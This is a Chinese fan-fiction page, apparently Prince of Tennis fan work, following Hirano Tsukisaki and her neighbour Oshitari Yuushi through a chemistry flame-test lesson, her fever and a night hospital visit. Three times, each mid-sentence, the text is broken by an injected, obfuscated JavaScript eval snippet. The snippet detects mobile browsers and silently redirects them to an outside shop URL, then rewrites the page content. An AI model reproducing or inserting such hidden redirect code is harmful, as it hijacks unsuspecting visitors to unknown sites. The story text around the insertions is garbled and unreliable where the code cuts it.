平野月咲出门上学时,对面的门也正好打开。 四目相对。 “早安,忍足君。” “……早安,平野。” 一起踏入电梯,电梯里只有他们,忍足侑士悄悄看她。 平野某些方面来说和他是很像的,就像他偶尔会“闭锁心灵”一样,平野也对他“闭锁心灵”了吧。 不会流露出过多表情的,冷淡的面容。偶尔会让他产生“笑起来感觉有些可爱”的样子消失不见了。 出了公寓,平野月咲没有和忍足侑士同行。 她拐进楼下的咖啡店,买咖啡的时候顺便买了个贝果作为早餐。平野月咲很喜欢贝果的口感,很韧,原味的最好吃。 下午喝咖啡的话晚上容易睡不着,她昨晚大脑兴奋得不行,翻来覆去最后又来到书房…… 和运动类社团不一样,话剧部没有早训,不用担心迟到。 诶?网球部有早训,忍足君这个点要迟到了吧。 替他担心了一秒,平野月咲找了个空位坐下,一抬头,对上玻璃门外伫立的忍足侑士的视线。 对视几秒后,他转身融入流动的人群里。 平野月咲意识到一点不对劲。 那欲言又止的眼神,他是不是以为自己生气了?可刚刚她不是主动打招呼了吗…… 没想到他竟然会是有点别扭的性格吗? 于是,平野月咲到教室狗,再一次和他问好了。 “早安,忍足君。” 在忍足侑士诧异的目光中,她缓缓展露一个笑容,像是冰雪消融,化成一抹春水。 很难形容这种感觉。 “我没有生气,请不要误会。” “早安,平野。”忍足侑士很快反应过来,嘴角勾起一抹微笑,以一种开玩笑的语气说,“可是你早上的表情很难不让我多想啊。” 是指她早上面无表情? 她一本正经地解释:“睡眠不足,大脑没有开机,很抱歉。” 有点可爱,这个念头忽然就冒出来了。 “不,我才应该先道歉,昨天是我的问题,不该……” 不该因为你打听迹部而生气?替她的喜欢感到不值得? 他突然不知该如何形容,可平野非常善解人意地接话了—— “没关系,朋友间吵架很正常,这是感情好的表现。”平野月咲小心翼翼地打探,“那你们和好了吗?” 忍足侑士愣了下,随即垂眸微笑:“和好了。” “那就好。” 他又抬眼看她:“其实昨天平野有生气。” 用的是陈述语气。 虽然会有些不舒服,但不至于让平野月咲推翻之前对忍足侑士积攒的好印象。 她不否认,笑笑:“不用太放在心上,我是很会自我调节情绪的人。” 生气最伤害的是自己,也解决不了任何事情,这是平野月咲很早就懂得的道理。 这种人往往骨子里是很温柔包容的人。 很难做到不放在心上吧? “忍足你倒是让我蛮意外的。” “意外什么?” “你总是给人很冷静理性的感觉,偶尔带点情绪才更像……高中生吧。” “平野的意思是我难以接近?” 平野月咲拧眉思索片刻,点头又摇头:“忍足实际上朋友很多吧,所以也不用放在心上。” 他可是会因为失恋而哭的人,行为处事理性,内在说不定感性居多。 她的眼神…… 忍足侑士总感觉被看透又感觉被误会了什么,真是复杂。 两人的交流在化学老师进教室的时候止住。 平野月咲是严重的偏科生,化学虽说没数学那么枯燥,但也是她的苦手科目。 “为了防止大家讨厌化学,今天第一堂课就先带大家看看化学的浪漫。” 化学能有什么浪漫的地方? 显然不少同学和平野月咲想法一样,教室里起了不少议论声。 “不要吵哦,我可是有备而来,先来看看这个视频。” 化学老师讲解着这个名为“焰色反应”的实验,火焰会随着烧杯里溶液颜色的不同而改变,甚至能呈现出五彩的颜色。 教室里有人惊呼出声: “好漂亮!” “太美了吧……” 也有人和平野月咲一样无动于衷。 “好了,窗边的同学把窗帘拉起来。为了方便,就前后桌的同学一组,来做这个浪漫的实验吧。” 在得到老师“不用写实验报告”的首肯后,又是一阵雀跃的欢呼。 忍足侑士将窗帘拉了过来,平野月咲接着拉过。 “我去领实验器材。” “好。” 忍足侑士领着实验器材回来时,她已经转过身坐着,手肘抵着他的桌子,手掌托着自己的脸。 兴致缺缺的样子。 “平野。” 平野月咲收了手坐端正,把桌子让给实验器材。 很简单的实验,棉签上浸了不同成分的溶液,只要点火观看就好。 “等下我会关灯,大家再点火。一定要以安全为主。” 化学老师不放心地嘱咐,又把灭火器拎到台上以防万一。 忍足侑士将老师安好底座的棉棒摆好,手上拿着点火器,问:“你点我点?” “你会点的话。” 真是有歧义的话。 “先声明一下,我没有不良嗜好。” “我也是。” “总感觉平野兴致很低。” 平野月咲看一眼化学老师所处的位置:“你的感觉没错,我不喜欢化学。” “为什么?” “等看到我的成绩你就会明白。” 理科反而是忍足侑士擅长的地方,于是他道:“我化学成绩还不错。” 收获平野月咲怨念的眼神。 为避免她认为他在炫耀,忍足侑士又说:“如果有不理解的,可以问我。” 对方怨念消散,取而代之的倒不是他想象中类似于“哇你真好”之类的感激,而是不太真诚地向他道谢了。 忍足侑士明白了,这是根本就不想学。 准确来说是做不好平野月咲也不会特别勉强自己。 而当有了目标,她又会为了这个目标拼尽全力去努力,结果不好也会坦然接受,安慰自己这都是命运。 “关于你昨天那个问题,我帮你问过迹部了。” 转变话题有点突然,平野月咲反应过来时,化学老师刚好关了灯。 “谢谢,我其实没有很想知道答案。” 和忍足侑士预想得又不一样,黑暗中响起她的声音,平淡无波。 竟然让他松了一口气。 “忍足?该点火了。”平野月咲提醒他。 忍足侑士拿起点火器,点燃第一支棉棒,它燃起紫色的火……然后是第二支……到第七支。 显然通过视频和亲眼见到的震撼是不一样的,教室里又陷入一阵惊呼,更为响亮的惊呼。 平野月咲也紧紧盯着那一排跳动的五彩的火光,美好又浪漫,让人忍不住迷恋,不自觉道:“真漂亮……” 火光明暗交错,照亮她被深深吸引的面容,从忍足侑士的角度看过去,她眸中映出的那一簇光是深蓝色。 “嗯,真漂亮。” 化学老师很满意他们的反应,但烧得越久,不可控力越高,眼看差不多就忙让他们依据指示把棉棒灭掉。 在拉窗帘的间隙,忍足侑士问她有没有感受到化学的浪漫。 平野月咲在接触到明亮日光的一刹那清醒,摇摇头:“浪漫的是化学实验,又不是化学。” - 下午部活时,平野月咲在活动室见到了柳生友绘。 “月咲前辈!” 柳生友绘躬身行礼,看着平野月咲的眼睛亮闪闪。 “真是超级乖的孩子啊。”栗山小百合几人在后面小声感叹。 平野月咲摸摸她的发顶,想到一个关键问题。 “友绘,你每天从神奈川到这里上学吗?” 柳生友绘点头:“前辈不用担心,哥哥每天都会送我到电车站。” 平野月咲估算了下时间,单程大概是一小时。 “放学呢?” 柳生家早就为此开过家庭会议,早的话就由妈妈接,晚的话就由部活结束的哥哥柳生比吕氏接。 闻言平野月咲轻轻颔首,不是没想过让友绘来家里住,但她照顾自己没问题,照顾友绘可不能那样随便…… 有了新成员的加入,话剧部每人都干劲满满。 特别是栗山小百合,她简直两眼放光:“昨天收了五张报名表,今天收了两张,今年招新有望突破十人。” 报名截止时间是下周一。 话剧部现在的成员构成是二年级八人,三年级四人,等暑假过后,三年级的学生们要准备升学,不会再参与部活,因此新鲜血液的注入十分重要。 据说网球部有二百多人,真是难以想象的规模。 文化类社团不比运动类社团,人手永远捉襟见肘,忙起来时一个人当两个人使,平野月咲不止要写剧本,偶尔还要搭个手布景、客串下角色。 演员不够怎么办?那自然是发动人脉,欢迎各个想要来演戏的同学体验舞台。 部活结束,回家前平野月咲先去了趟书店。 挑好书,她又扫了眼“最新上线”这个陈列架,再过几日,由她写的书改编成的漫画就会出现在这里。 平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454807|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野月咲是极容易满足的人,此刻的欢喜足以让她将几月前签名签到不想拿笔的痛苦尽数忘却。 忍足侑士在楼下见到平野月咲时,她唇边还噙着笑,弧度很浅,但一眼就能看出她心情不错。 好心情是可以传染的,忍足也笑着和她打招呼:“平野,有什么值得庆祝的事吗?” 平野月咲正往公寓楼里走,闻言顿住脚转身,忍足侑士肩上背着网球包,手里还提着超市购物袋。 她微微点头,和他寒暄:“忍足君刚购物回来?” 称呼又变成敬语了。 “买了点食材,这两天有活动很划算。” 平野月咲诧异一瞬:“忍足君自己做饭吗……你一个人住?” “啊”忍足侑士耸耸肩,又笑了下,“这不是什么很值得惊讶的事吧?” 年初父亲因工作调动前往长野县,总是转学的忍足侑士现在有了不想转学的理由,正好这里的租期还有一段时间,他就和姐姐惠里奈一同住在这边。 两月前,惠里奈和男友订婚,从这里搬了出去,所以忍足侑士目前是独居状态。 但他独立自主能力强,没有人不放心他。惠里奈搬走他还轻松不少,起码不用再大半夜起来给她做夜宵吃…… 平野月咲想起那日看到的忍足侑士温馨的家,与她家连一口锅都没有的冷清景象截然不同。 不,她已经买了锅。 不过看着面前这位优雅沉稳的少年,很难想象他在厨房里忙碌的样子。 将那奇怪的画面赶出脑海,平野月咲笑了笑:“既然如此,我也去超市采购一下。” 正欲告别,她又想起一件事,“正好有东西要给忍足君,请等一下。” 忍足侑士提醒她:“称呼可以不用带敬语。” 他接过女生递过来的包裹,包装精美,方正挺括的外形,入手沉甸甸,大概是一本书。 “这是?” 平野月咲眨眨眼,打哑谜:“星星。” 忍足侑士反应过来,这是她欠人情的还礼。 “谢谢,我很期待。” 期待……那并不是期待的眼神吧? 踏入超市时,忍足侑士的眼神仍在脑海里挥散不去,平野月咲不愿多想,还是希望他可以喜欢这份礼物。 网上搜了几款简单的料理,她依据食谱买了食材,还有咖啡豆,以及可以当做早餐的吐司。 然后拍了张照片发给藤沢秋奈。 秋奈秒回:[哇!要不要考虑加入我们料理部!] 平野月咲回以一个微笑。 藤沢秋奈最先加入料理部是为了学分,后来找到了做料理的乐趣,甚至决定竞选下一任部长,可她的料理水平着实令人害怕。 好在她有自知之明,舍不得让月咲受苦,未婚夫成了有幸品尝她灵机一动下创新菜肴的第一人。 平野月咲好一点,她做的饭能吃,因为太复杂的她不做。 牛排煎熟,撒上黑胡椒海盐,土豆用微波炉叮熟,再摆上洗干净的圣女果。以上就是平野月咲的晚饭,讲究一个营养均衡。 晚饭后看半小时书,泡澡,再去书房写文,她先存几天稿,等下周一再正式发布。 这几天作息被她生硬地调回来不少,每天控制在两点左右睡,差不多六小时睡眠。 专心做事的时候她没有看手机的习惯,在发现忍足侑士有发来简讯时,已经一点。 忍足君:[非常不错的一本书,感谢礼物。] 忍足君:[图片] 他发来的照片里是一本《星空图鉴》,旁边搁着一副眼镜。 是平野月咲今天忽然想到的,一个擅长理科的人,应该也会为宇宙、银河、星系的浩瀚着迷。 所以“星星”是真的星星。 夜半时分,一旦想到某件事某个人,各种杂乱理不清的思绪也会一股脑地涌上来。 他接过这本书时候的眼神……是客套话还是真心喜欢? 爱好观察人类的平野月咲没有好好观察过忍足侑士,此时竟然起了点探究的欲望,可若要把这欲望摆在明面上,心里却升起几分说不清的抗拒。 为什么? 这下平野月咲是彻底睡不着了,她来到阳台,抬头看天上的月亮。 每每迷茫时,她都会来看月亮,对着月亮发呆,特别是又大又圆的月亮她最喜欢,因此给自己取了“满月”的笔名。 以前吸收月亮精华的时候还想过自己前世会不会是妖怪,猫妖?还是狐妖?反正都是毛茸茸的生物,是哪个她都不介意,只是不知道修炼成人了没有…… 直到被带着寒气的夜风吹得冷一哆嗦,平野月咲回过神来,心中的困惑还是一团团雾。 但那种感觉太特别了。 她隐隐有一个大胆的猜测。 9. 009 平野月咲被闹钟叫醒时,脑袋一阵发晕。 家里没有温度计,她摸了摸自己的额头,手心滚烫,额头冰凉。 最近受了大打击,作息紊乱,昨晚又着了凉,生病也是情理之中。 给班长、部长发了请假简讯,又通知秋奈自己今天不去学校,做完这些,平野月咲再次躺回被窝,几秒就陷入沉睡。 网球部今日早训结束得晚,等忍足侑士回到教室时,预备铃已经响了有一会。 但前面的座位空荡荡,直到老师踩着正式铃声进来,也没有人落座—— 平野她缺席了。 这个问题在向班长川井裕司询问时得到了证实:“噢平野啊,她早上发了简讯给我,说是生病要请一天假。” 忍足侑士想起那日她低血糖晕在他家门口的样子,有些心神不宁。 “喂忍足,你俩关系不错啊。”川井裕司用手肘碰碰他,表情别有深意。 忍足侑士没心情接话,朝他道谢后又回了自己座位。 平野是凌晨回的他消息,她又总是睡不够的样子…… 此时他更希望对方是睡过头了,而不是生病,然而他发去问候的简讯一直处于未读状态。 一种模糊的不安逐渐萦绕心头。 “哼,要不是月咲请假了,我才不约你吃饭呢。” 忍足侑士闻言看去,是位栗色头发的女生,在中等部也见过,和平野是关系很好的朋友。 他犹豫了一下上前搭话,询问情况,被她旁边那位黑着脸的男生不善地瞪了一眼。 占有欲也太强了……又不是搭讪,这个醋也要吃吗…… 藤沢秋奈微微诧异,随即又觉得月咲真厉害,果然到哪里都能和人搞好关系,客客气气对他笑了下:“哦忍足君啊,谢谢你关心……” 她放低音量,“月咲身体很好的,应该不是生病。” 两人从小一起长大,月咲生病的次数还没有她多,倒是偶尔会因为睡眠不足请假,藤沢秋奈自然而然地认为这次也不例外。 “下午她就会复活的,一般在两点左右。” 忍足侑士礼貌道谢,两人携手离去。 “真树,你看人家多有礼貌。” “我看他不像什么正经人。” “……” 吐槽他好歹声音小一点吧! 问过了却没安心多少,身体很好的这个说法可信度也太低了…… 两点半了他也没收到平野的任何消息。 一直到最后一节课结束,期间他点开好几次和月亮头像的聊天框,消息始终显示未读。 从早上请假到现在,也有八个小时了,通宵也差不多该醒了。 又等到部活结束,他后来又有发去几条消息,也没任何动静。 出于关心,他打去电话,铃声响了十几秒,接通。 听筒里传出女生有气无力,含糊不清的声音:“你好,这里是平野。” 忍足侑士顿了顿:“平野。” 低沉迷人的声线刺激着平野月咲的耳膜,酥酥麻麻。 她顺着回复:“嗯,我是平野。” 不知道是谁找她,声音这么好听,可是大晚上扰人清梦也太过分了。 平野月咲半天没等到动静,黑暗中意识又沉下去,正当要睡过去时,他说话了。 “平野,你生病了。” 是肯定的关西腔。 意识到这声线的熟悉,平野月咲清醒少许,微微睁眼看屏幕。 “忍足侑士。” 女声带着几分柔软的沙哑,忍足侑士一怔,指间无意识收紧,握紧手机。 “嗯,你怎么样?” 手机显示现在是下午六点半,平野月咲从枕头上起来,半靠在床头,又打开床头灯。 她发烧睡了一整天,现在脑袋没有早上那么昏沉。整个人依旧倦倦的,如果不是这通电话,她还能继续睡。 “我还好。” 一声若有似无的叹息声擦过耳畔。 “你在家吗?” “在。” “是发烧吗?” “不烧了。” “是睡了一天吗?” “嗯。” 忍足侑士原来话这么多吗…… 平野月咲有点头疼,正想找个理由挂电话继续睡,对方又开口了,这一次连着问了两个问题。 “吃饭了吗?” “想吃什么?” 好温柔的语气,都说生病时最容易卸下心防,平野月咲鼻头一酸。 “不用……” “……会想吃热的吗?” 一被人关心她就感觉自己特别脆弱,拒绝的话对方也像是听不懂,她索性随心走。 她说会,最好还是带汤的。 挂断电话,平野月咲查看这一整天收到的消息。 小百合前辈: [吓我一跳,今天没有部活啊,不用请假] [月咲怎么不回消息……是身体不舒服吗?现在感觉怎么样了?] [还好吗?我很担心] 秋奈: [精致的两份便当.jpg] [哼哼,一想到晚上还要和这个大魔王吃饭心情就坏] [月咲今天好能睡啊……] 妈妈: [日出.jpg] [巴塞罗那的日出,特别美,和月咲分享~] 平野月咲一一回复消息,揉揉眉心起身洗漱,又来到客厅沙发坐着,望着东京的夜景出神。 门铃响起的一刻,竟然有些忐忑。 忍足侑士穿着冰帝校服出现,拎着一份食品打包袋,镜片后的眼睛露出担忧的神色。 “清汤牛肉乌冬面,怎么样?” 平野月咲没有挑食的道理,对他微笑:“我喜欢吃,谢谢你。” 站在门口说话有些尴尬,“要进来坐会吗,热心的忍足同学。”虽然他家就在对面。 忍足侑士笑了,顺着她话应下,不安了一整天的心也落回原处。 还是上次那双拖鞋,纸箱子堆在玄关和客厅依旧没整理。 “头还疼吗?” 平野月咲拉开餐桌边的椅子,摸了下自己的头:“我觉得还好。” 她裹着针织外套,面色倒不似上次低血糖时惨白,脸颊上带点血色。 “体温多少?” 平野月咲拆包装袋的动作顿了下:“没有量,没有体温计。” 忍足侑士皱眉:“什么时候开始不舒服的?” “早上醒来,大概七点半。” “什么症状?” “头有点晕,想睡觉。” “有点?现在呢?” 他面容严肃,平野月咲觉得像在被医生问诊,抿抿唇,老实交代:“……还有一点。” 有问有答,反应却比平时慢半拍,忍足侑士怀疑她还没退烧。 “我摸下你额头。”他询问。 平野月咲下意识应了:“好。” 下一秒,她被一股陌生而清冽的气息笼住,当那只宽厚温暖的手触及自己额头时,她有些懵懵地和他对视。 真漂亮啊,他的眼睛,深蓝得发黑,隐隐还带点紫色。 忍足侑士收回手下结论:“还在发烧。” “啊”平野月咲发出一个无意义的音。 “我回去拿体温计。”忍足想了想,又问,“先吃饭还是先量体温……饭后不能马上量。” 见对方一动不动,只睁着一双水蒙蒙的眼睛望着自己,他有些不自在,又觉得她像烧傻了。 “平野。” “……嗯?” “今天有吃东西吗?” 平野月咲眨了下眼,加载成功。 “我是被你吵醒的。”她埋怨道。 忍足侑士现在更加确定,她八成是烧得神志不清了。 不然怎么和他撒娇。 他不反驳,帮着打开盖子,温声道:“先吃饭吧。” 很不对劲,但平野月咲说不上来。乌冬面很好吃,汤热热的好温暖。 吃完饭,两人一个坐在餐桌边,一个坐在沙发上。 平野月咲目光虚浮地望向窗外斑斓的夜景,忍足侑士偶尔会喊她一声,她轻轻地“嗯”一下,而后却又久久没有下文。 几次后她终于转头看着他,用眼神表示她的困惑。 忍足侑士几乎要失笑,语气却镇定:“想确认下平野你还清不清醒。” 平野月咲诚实地回答:“我想睡觉。” “好了,可以量体温了。” 五分钟后,忍足侑士眯着眼看了眼体温计:“三十九度……要去医院,你这样烧了一整天吗?” 女生怔怔地看他,忍足侑士无奈叹了口气,“平野,不爱惜身体会让人很担心啊。” 种种行迹表明她也是一个人住,家人不在身边,但生病可不是小事。 “有通知家人吗?”他问。 脑袋昏沉也挡不住心猛地一痛,平野月咲迅速垂眸。 忍足侑士眉头紧锁,他好像无意间说了些不该说的话。 家人……吗? 说真的,她那种极力掩饰的脆弱感让人心里不好受,她看着桌面,忍足侑士看着她,打破她用沉默筑起的高墙:“家人不在身边的话,我可以陪你去。” 女生抬起眼,看着他又不说话。 忍足侑士推了下眼镜:“我们是同学,又是邻居,互相帮助是应该的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454808|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很好的理由,说服她,也说服自己。 他让平野再拿件外套和证件,自己回家换了身常服。 两人在电梯口汇合,平野月咲戴了口罩,挎着小包,衣领拉得高高的。 上了车后她缩在后座,歪头靠着车窗,脸上的光影明明灭灭。 她很安静,但这种和以往的安静不一样,是脆弱的,和那日在电影院的感觉有几分相似。 东京的晚高峰已过,很快就到医院。 “平野,你先去等候区坐休息,证件给我。” 平野月咲把包递给忍足侑士。 等候区光线明亮,她看他的身影穿梭于挂号,缴费窗口之间,有种莫名的安心。 还有一种陌生的情愫悄然漫过心口,和昏沉沉一团思绪搅在一起。 显示屏上很快亮起平野月咲的名字,忍足侑士提醒在发呆的人:“到你了,平野。” 两人走进诊室。 忍足侑士在看到值班医生的一刹,眼里满是惊讶。 “什么症状,哪里不舒服?”医生敲着键盘问,抬头,也是一怔,随即微笑,“侑士。” 忍足侑士点点头,礼貌问好:“高仓伯父。” 是认识的人啊……平野月咲看了眼忍足,又看了眼医生,总觉得她也该打招呼。 高仓医生是忍足父亲的师兄,两人关系一直很好。 早知道就该看一眼门口的值班牌……! 忍足侑士内心有小人呐喊完蛋了,面上保持冷静,看向女生:“伯父,她发烧了。” 正好被cue到的平野月咲微微前倾身子:“您好。” 是个很乖巧的女孩子啊。 “你好。”高仓爽朗地笑几声,“现在不是打招呼的时候,先看病先看病。” 询问完症状,高仓敲着键盘,“侑士,先带她去抽血。” 被他用揶揄目光看的忍足侑士,耳根微热,强撑着镇定接过单子。 出了诊室,忍足抬手捂住整张脸,指缝间露出一声又长又轻的叹息。 平野月咲奇怪地看他。 她无辜的眼神让忍足侑士破有怨念,拿着单子的手拂过她发顶,轻轻一拍:“走了。” 抽血很顺利,等报告需要半小时。 平野月咲其实有点想要睡觉,但现在在医院,旁边还有那么大一个人。 她转头:“我们聊聊天吧。” 忍足侑士有些好笑地看她:“平野,你确定你大脑的运转速度跟得上吗?” 这是嘲笑吧?这绝对是吧。 平野月咲用比平时慢了十倍的速度成功处理这句话的信息,决定闭嘴,也闭上眼睛。 忍足侑士勾起唇角。 报告比预计时间提前很多,忍足侑士带着女生到高仓医生的诊室回诊,高仓看了一眼化验结果,和他聊几句,又熟练地开方。 “挂水挂两天,药也要吃。”高仓医生又把单子递给忍足,“去吧。” 平野月咲就像个机器人般跟着忍足侑士,从这个窗口到那个窗口,看他缴费取药。 这种完全不需要自己动脑思考的感觉真的很好。 挂水扎针也很顺利,护士小姐把吊瓶递给忍足:“要时刻注意,快挂完了来这边喊人。” 看两人走远,她瞬间和同事聚在一起热烈地讨论起来,值夜班的烦躁在磕到cp时一扫而空。 两人找了个相对安静的角落坐下,平野月咲撑着脑袋,沉沉睡去。 忍足侑士在看小说打发时间,时不时关注着吊瓶里的液体余量,视线会在她沉静的睡颜上停留。 如果平野靠的是他这边,会不会像电影情节一样,不小心将头靠在他肩上…… 偶尔平野月咲意识朦胧地睁眼,看到的是忍足线条优越的侧脸,他在看手机,唇边有浅浅的笑意。 也不知道在看什么…… 时间在消毒水的味道里缓慢流逝,平野月咲感觉有人在轻轻拍自己。 “平野,该回家了。” “啊……好。” 她被领着去输液台拔针,两人走后,护士小姐们又聚在一起小声讨论,让这个夜班不那么无聊。 “刚刚还拜托我换吊瓶的时候小声点呢。” “阿拉阿拉~真是美好的年纪啊。” …… 夜风携着凉意,吹得平野月咲稍稍清醒,她亮起手机,十一点三十。 回到公寓,也还没到十二点。 忍足侑士把药递给她,又把她的包挎回她肩上,发现她秀气的眉微微蹙起。 “在想什么?” “如果我明天退烧了,是不是可以不用去挂水。” 忍足侑士叹息一声。 “平野,要谨遵医嘱。” 10. 010 翌日,平野月咲醒得很早。 好在浑身轻盈,她量了□□温,退烧了。 怕没痊愈传染给同学,没多纠结,平野月咲又愉快地请了一天假。 通知秋奈时,她将自己发烧的事也说了,让她不用担心。 以及忍足侑士…… 昨晚脑袋昏沉沉,但在她笔下出现无数次的朦胧情愫,第一次如此真切的在心中有了回响。 她对一个刚失恋的人心动了。 真糟糕。 不,往好处想,幸好他失恋了。 平野月咲又觉得哪里不对,拉开窗帘,阳光扑满她面颊,她恍然。 她真是写小说写走火入魔了,满脑子感情问题,只凭密密麻麻的文字和一双泛红的眼睛就判断对方失恋,说不定只是感人的新闻,而对方又恰好泪点很低……不管怎样,都只是她的猜测罢了。 忍足侑士比迹部景吾还要难懂,面冷心热,她不相信他越界的关心别无所图,可昨晚又有“作为同学和邻居互相帮助是应该的”说辞,思索再三,平野月咲认为维持现状是最好的选择。 踌躇片刻,平野月咲编辑了一大段文字发给热心邻居忍足君,表达她的感谢之意。 几乎是刚按下发送键,秋奈的电话就打了进来,她刚睡醒,语气蔫蔫却透着浓浓的关心:“月咲,你怎么样?头还痛不痛?” “我已经退烧了,没事哦。” “真是的,月咲发烧也不告诉我……”藤沢秋奈嗔怪道,又想起来一件事,“啊呀,我还和忍足君说你不是生病呢。” 平野月咲一怔:“……忍足?” “对啊,他昨天特意来问我,但真树说他不是正经人,可我觉得他很关心同学啊。”藤沢秋奈默默加一句,“声音也挺好听的。” 她轻笑了声:“赤崎君看不惯你身边的任何异性吧,超强的占有欲。” 紧接着不动声色地话题一转,“你们和忍足国中都是冰帝的吧,听说他几周换一次女友……” 藤沢秋奈只当是月咲八卦,挠挠睡得一团乱的头发:“谣言吧,可能交过女朋友但不至于那么夸张啦,毕竟看起来就很会谈恋爱的样子嘛,不像真树……” 有多会谈啊…… 吐槽了半天未婚夫没得到回应的藤沢秋奈有些担心,连喊两声月咲的名字,得到回应后重重松一口气。 “是不是身体还不舒服?真的没事吗?” “抱歉抱歉,不用啦,我在想其他事情……晚点我会再去医院挂水,今天中午也不能和秋奈一起吃饭了,抱歉。” “月咲一个人去,要不要我陪你去?”说着藤沢秋奈自己也觉得不妥,“唔,我搞不清楚医院流程……我拜托原田管家吧!” 原田管家都快六十岁的人了,让他奔波平野月咲心里难安,不过是去医院,也不是什么大不了的事,她笑着婉拒了秋奈的提议。 通话结束,平野月咲收到那位邻居的回复。 忍足: [平野,就算感激也没必要写一篇古文吧] [温馨提示: 1、多喝温水,代谢病毒 2、病人不可以摄入过多咖啡因 3、熬夜会让病情更加严重] 平野月咲失笑,被吐槽了啊。 有四分之一关西血统的她打字吐槽回去:[有没有人说过忍足很像一位医生?] 忍足: [很高兴你猜对了我未来的职业规划] [还记得我昨晚说的话吗?] 平野月咲疑惑:[什么?] 忍足侑士正好下电车出站,看手机上的消息,嘴角弧度扬起:[谨遵医嘱] 虽然昨晚比往常睡得晚,但忍足侑士偶尔也会熬夜看电影或小说,有节制地熬夜,然后在规划的最晚时间内入睡,不耽误早起。 他迈入网球场,抬头,嗯……今天天也特别蓝。 “早上好侑士,发生了什么这么开心!”向日岳人看见搭档,觉得他这个样子特别熟悉,“你又看了什么爱情电影吗?” 这个年纪要看的是热血漫画才对吧! “哦岳人,早上好。”忍足侑士熟练地勾住他肩,“这么有活力,要不要来和我打一场。” 惊得向日岳人赶快甩开他手:“……你吃错药了吧!” “嘛~开玩笑的。” 他观察着忍足侑士,这绝对是看了非常喜欢的恋爱小说又或是听了什么惊天大八卦的表情。 可往常这个时候就要抓着人分享了,而不是突如其来地说“和我打一场”…… 诡异,真是诡异。 早训结束,忍足侑士回到教室,前面的座位依旧是缺席状态。 和昨天不一样,早上他被本人告知今天也会请假。 愣了会神,他想到昨晚高仓伯父揶揄调侃的眼神,不知道对方会不会替他保密,家庭群聊里到现在都是安安静静的。 这个幻想在忍足侑士下午部活结束,接到姐姐惠里奈的电话时破灭。 “侑士~” 忍足惠里奈的声音黏黏糊糊,听得他起一身鸡皮疙瘩。 “老姐。” “我听说了哦~” “惠里奈。”忍足侑士额上的青筋直跳,“拜托了,请正常说话。” 忍足惠里奈一阵大笑,笑了足有半分钟,语气终于恢复正常:“不要害羞嘛侑士,你这个年纪谈恋爱很正常啦。” 忍足侑士沉默一瞬,叹气:“老姐,我没有谈恋爱。” “哈——?”忍足惠里奈发出巨大一声质疑,“那请你解释一下深更半夜带着女生出现在医院的行为。” “是邻居,她家人都不在身边……” “哦。” 忍足侑士摸了下鼻子:“还是同学,我不能放任对方……” “哦。” 惠里奈发出的无意义单音节让忍足侑士喉头哽住,沉默。 反正无论如何找借口她都是不是信的。 “好啦,相信你。” 忍足侑士:“……?”难道是因为有了未婚夫也变得成熟了吗? 就听电话那头的惠里奈轻笑一声:“刚刚还想指责你不绅士,竟然让女孩子一、个、人去医院看病呢。” “一个人?” 忍足惠里奈很满意他抓住重点:“咦,爸爸没发照片给你吗?高仓伯父下午又在医院看到了哦。” 忍足侑士明白了,就像惠里奈当年恋爱一样,三人在背后讨论该怎么判断她的男友可不可靠,这次的主角换成了他。 “背影好孤单呢,真是坚强的女孩子啊。” “……” “我知道了。” 忍足惠里奈又笑一声:“侑士有恋爱烦恼随时向我咨询哦,就这样,拜拜~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454809|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他绝对不会向一个当初连告白都看不懂的笨蛋咨询,忍足侑士面无表情地挂断通话。 - 在医院排队缴费时,平野月咲猛地想起昨日的医药费也是忍足侑士垫付的。 他们原本只是两条偶尔相交的线,从踏进电影院那一天起,像是触动了某个开关,这几日一上一下,一上又一下地交缠在一起。 平野月咲一直在欠人情,还人情。 她决定先把钱转给他,陪看病这个人情找机会再还。 一只手打着点滴不方便打字,平野月咲点开和他的聊天框。 “非常感谢你昨天的帮忙,忍足,请把卡号发……” 语音输入被屏幕上的来电显示打断,弹出来的名字是“忍足”。 说不惊讶是假,她盯着看了几秒,接起电话。 “平野。” 对方叫了个名字就没下文,平野月咲接话:“下午好,忍足,我正好要给你发消息。” 关西腔染上笑意:“好巧,平野找我有什么事吗?” “关于医药费……”平野月咲重复着刚刚的语音,“非常感谢你昨天的帮忙,我想问问……” “平野。”忍足侑士顿了顿,“听说你在医院……一个人可以吗?” 这位热心邻居又开始关心她了。 “可以啊。我今天退烧了,很清醒。” 忍足侑士稍感挫败,对方像是完全没明白他的意思。 “呐平野,有没有听过最近网上很流行的一种说法,一个人看病的孤单等级是十级。” “啊我知道呢……一个人看电影的孤单等级是四级,一个人搬家的孤单等级是八级。” 